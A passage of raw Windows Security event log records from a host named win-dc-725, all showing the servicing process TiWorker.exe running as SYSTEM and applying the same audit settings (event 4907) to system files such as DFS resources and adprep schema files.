ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247762
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\dfsncimprov.dll.mui
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247761
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\DfsfrsHost.exe.mui
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247760
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\dfsdiag.exe.mui
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247759
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\dfscmd.exe.mui
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247758
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\csvde.dll.mui
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247757
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\adprep.dll.mui
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247756
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en\mtedit.resources.dll
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247755
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\drivers\dfsrro.sys
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247754
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\drivers\dfs.sys
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247753
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\schupgrade.cat
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247752
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch87.ldf
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247751
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch86.ldf
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247750
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch85.ldf
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247749
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch84.ldf
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247748
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch83.ldf
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247747
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch82.ldf
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247746
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch81.ldf
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247745
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch80.ldf
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247744
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch79.ldf
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247743
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch78.ldf
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247742
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch77.ldf
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247741
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch76.ldf
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247740
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch75.ldf
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247739
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch74.ldf
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247738
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch73.ldf
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247737
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch72.ldf
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247736
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch71.ldf
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247735
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch70.ldf
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247734
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch69.ldf
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247733
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch68.ldf
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247732
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch67.ldf
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247731
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch66.ldf
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247730
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch65.ldf
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247729
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
